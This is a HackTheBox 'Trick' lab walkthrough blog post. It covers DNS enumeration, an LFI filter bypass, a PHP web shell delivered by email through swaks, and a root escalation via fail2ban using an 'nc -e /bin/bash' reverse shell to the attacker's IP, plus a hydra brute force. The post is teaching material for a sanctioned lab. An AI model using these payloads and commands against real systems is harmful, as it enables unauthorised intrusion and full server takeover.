Post

HackTheBox - Trick

Trick is an easy box exploiting a local file inclusion, email, and php to gain a shell, and then sudo priviliges to escalate to root.

HackTheBox - Trick

The attack path

On this machine, we’ll exploit a local file inclusion in a preproduction website and use email to upload our shell. From there we’ll be able to elevate using an exploit in fail2ban to get to root.

User

We start with our normal nmap scan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
sudo nmap -sCV -T4 -p- 10.129.227.180 --open -oA scans/nmap_initial
[sudo] password for chvxt3r: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-06 08:29 PST
Stats: 0:02:26 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 75.00% done; ETC: 08:32 (0:00:39 remaining)
Nmap scan report for trick.htb (10.129.227.180)
Host is up (0.097s latency).
Not shown: 65531 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
|   256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_  256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open  smtp?
|_smtp-commands: Couldn't establish connection on port 25
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 276.74 seconds

Intersting here is port 25 smtp and port 80 http. We notice DNS is open, so let’s see if we can do a zone transfer.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
dig axfr @10.129.227.180 trick.htb

; <<>> DiG 9.20.15-2-Debian <<>> axfr @10.129.227.180 trick.htb
; (1 server found)
;; global options: +cmd
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb.              604800  IN      NS      trick.htb.
trick.htb.              604800  IN      A       127.0.0.1
trick.htb.              604800  IN      AAAA    ::1
preprod-payroll.trick.htb. 604800 IN    CNAME   trick.htb.
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 335 msec
;; SERVER: 10.129.227.180#53(10.129.227.180) (TCP)
;; WHEN: Sat Dec 06 08:36:52 PST 2025
;; XFR size: 6 records (messages 1, bytes 231)

Interesting we have a what looks to be a preproduction payroll site. Before we take a look at that, lets see if there are any other subdomains that may not be listed in DNS.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://trick.htb -H "Host:FUZZ.trick.htb" -ac

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://trick.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.trick.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

:: Progress: [114442/114442] :: Job [1/1] :: 358 req/sec :: Duration: [0:05:06] :: Errors: 0 ::

Nothing really came out of that, so let’s try and see if there are any other ‘preprod-‘ sites, by prepending preprod- to our fuzz.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://trick.htb -H "Host:preprod-FUZZ.trick.htb" -ac

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://trick.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: preprod-FUZZ.trick.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

marketing               [Status: 200, Size: 9660, Words: 3007, Lines: 179, Duration: 102ms]
payroll                 [Status: 302, Size: 9546, Words: 1453, Lines: 267, Duration: 111ms]
:: Progress: [114442/114442] :: Job [1/1] :: 382 req/sec :: Duration: [0:04:55] :: Errors: 0 ::

We find preprod-marketing from our latest fuzz. So that gives us 2 websites to explore, preprod-marketing and preprod-payroll.

Preprod-payroll

The preprod-payroll site gives us a pretty generic login form. Login form

Looking at the POST request in burp, there’s nothing really spectacular. Login form Post request

Since we don’t have credentials for this, we may try brute forcing it later, but let’s move on to the marketing site for now.

Preprod-marketing

Reviewing the marketing site, it looks to be a simple PHP site.

Whenever I see page= in a URL, I immediately think of a possible local file inclusion. marketing URL

That’s because PHP can use the landing page (index.php) as a wrapper for all of the pages to load inside of, letting you maintain a consistent look across the site.

Trying a variety of LFI combinations, there’s apparently some security that is removing ../ from the URL. That’s easy to bypass, you just double it up so it’s ....//. We try this and are able to view /etc/passwd Marketing LFI

Viewing the page source provides a prettier view. marketing LFI pretty

From this, we can gather we have a user michael. We can see this because besides root, he’s the only one that get’s a shell.

This takes us back to our open smtp port. Since PHP wrap’s everything in index.php, if we can view michaels email through our LFI, and if we can send michael an email with a bind shell in it, we may be able to get code execution on the server.

We can use swaks to send michael an email with our code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
swaks --to michael --from chvxt3r --header 'Subject: Testing!' --body '<?php system($_REQUEST["cmd"]); ?>' --server 10.129.227.180
=== Trying 10.129.227.180:25...
=== Connected to 10.129.227.180.
<-  220 debian.localdomain ESMTP Postfix (Debian/GNU)
 -> EHLO kali-chvxt3r.lair.int
<-  250-debian.localdomain
<-  250-PIPELINING
<-  250-SIZE 10240000
<-  250-VRFY
<-  250-ETRN
<-  250-STARTTLS
<-  250-ENHANCEDSTATUSCODES
<-  250-8BITMIME
<-  250-DSN
<-  250-SMTPUTF8
<-  250 CHUNKING
 -> MAIL FROM:<chvxt3r>
<-  250 2.1.0 Ok
 -> RCPT TO:<michael>
<-  250 2.1.5 Ok
 -> DATA
<-  354 End data with <CR><LF>.<CR><LF>
 -> Date: Sat, 06 Dec 2025 09:37:54 -0800
 -> To: michael
 -> From: chvxt3r
 -> Subject: Testing!
 -> Message-Id: <20251206093754.005906@kali-chvxt3r.lair.int>
 -> X-Mailer: swaks v20240103.0 jetmore.org/john/code/swaks/
 -> 
 -> <?php system($_REQUEST["cmd"]); ?>
 -> 
 -> 
 -> .
<-  250 2.0.0 Ok: queued as CA38F4099C
 -> QUIT
<-  221 2.0.0 Bye
=== Connection closed with remote host.

Email is sent, let’s see if we can get to his email. lfi michael mail

Looks like we can, and we notice our code doesn’t show up, which is strong indicator we may be able to execute. lfi michael code execution

We definately have code execution. With that, we can set up our reverse shell and throw a reverse shell at it. lfi michael revshell

and we have a reverse shell!

1
2
3
4
5
6
7
8
nc -lvnp 4444
listening on [any] 4444 ...

connect to [10.10.16.31] from (UNKNOWN) [10.129.227.180] 45126
bash: cannot set terminal process group (720): Inappropriate ioctl for device
bash: no job control in this shell
michael@trick:/var/www/market$ 
michael@trick:/var/www/market$ 

A lot of people like to head directly to the flag, but I prefer to establish persistence that does not involve a revshell first.

We almost immediately find an RSA key in the common location. Downloading that, we can then connect via ssh.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜  trick vim michael_rsa   
➜  trick chmod 600 michael_rsa
➜  trick ssh -i michael_rsa michael@10.129.227.180                                                                                         
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Linux trick 4.19.0-20-amd64 #1 SMP Debian 4.19.235-1 (2022-03-17) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
michael@trick:~$ 

Right in the expected spot, we find the user flag.

1
2
3
michael@trick:~$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  user.txt  Videos
michael@trick:~$ 

Root

Checking Michaels permissions, he can run sudo to restart fail2ban.

1
2
3
4
5
6
7
michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart
michael@trick:~$

We find an exploit for that here

It looks like the exploit involves creating a .local file that will override the .conf file in the iptables configuration.

We start by copying /etc/fail2ban/action.d/iptables-multiport.conf to a new .local file

1
cp /etc/fail2ban/action.d/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.local

Then we need to add a reverse shell to our new .local file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Option:  actionban
# Notes.:  command executed when banning an IP. Take care that the
#          command is executed with Fail2Ban user rights.
# Tags:    See jail.conf(5) man page
# Values:  CMD
#
# actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>
actionban = /usr/bin/nc 10.10.16.31 4444 -e /bin/bash
# Option:  actionunban
# Notes.:  command executed when unbanning an IP. Take care that the
#          command is executed with Fail2Ban user rights.
# Tags:    See jail.conf(5) man page
# Values:  CMD
#
actionunban = <iptables> -D f2b-<name> -s <ip> -j <blocktype>

We need to restart fail2ban

1
2
michael@trick:~$ sudo /etc/init.d/fail2ban restart
[ ok ] Restarting fail2ban (via systemctl): fail2ban.service.

Then we need to trigger a ban after setting up our listener

We can use hydra for that, and just throw random passwords at ssh

1
2
3
4
5
6
7
8
9
10
hydra -l root -P /usr/share/wordlists/rockyou.txt 10.129.227.180 ssh
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-12-06 10:09:28
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.129.227.180:22/
[STATUS] 224.00 tries/min, 224 tries in 00:01h, 14344177 to do in 1067:17h, 14 active
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

After a few seconds, we get our reverse shell as root and the flag is right where we’d expect it to be.

1
2
3
4
5
6
7
8
9
10
11
➜  trick nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.31] from (UNKNOWN) [10.129.227.180] 45130
whoami
root
ls /root
ls
f2b.sh
fail2ban
root.txt
set_dns.sh

Thoughts

Trick is a fun box with a bit of a complicated exploitation path. Overall I enjoyed this box as it was a good combination of web exploitation and local privilege escalation.

Thanks for reading!

This post is licensed under CC BY 4.0 by the author.